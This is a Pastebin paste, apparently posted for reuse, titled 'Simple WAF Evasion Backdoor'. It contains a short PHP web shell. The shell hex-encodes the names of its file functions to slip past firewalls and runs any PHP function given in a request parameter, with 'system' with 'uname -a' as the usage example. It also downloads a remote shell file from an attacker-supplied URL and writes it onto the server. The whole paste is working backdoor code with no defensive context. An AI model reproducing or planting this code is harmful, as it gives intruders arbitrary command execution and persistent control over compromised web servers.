cdw1p

Simple WAF Evasion Backdoor

Oct 1st, 2018
458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //*
  3.  
  4. ---
  5. usage:
  6. a=phpfunction&b=func_arguments
  7. c=/path/backdoor.php&d=http://location_shelll.txt (http only)
  8. ---
  9. example:
  10. a=system&b=uname+-a
  11. c=/var/www/html/shell.php&d=http://webku,com/shell.txt
  12.  
  13. *//
  14.  
  15.  
  16. $a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
  17. $b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
  18. var_dump($_REQUEST['a']($_REQUEST['b']));
  19. @$b($_REQUEST['c'], @$a($_REQUEST['d']));
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment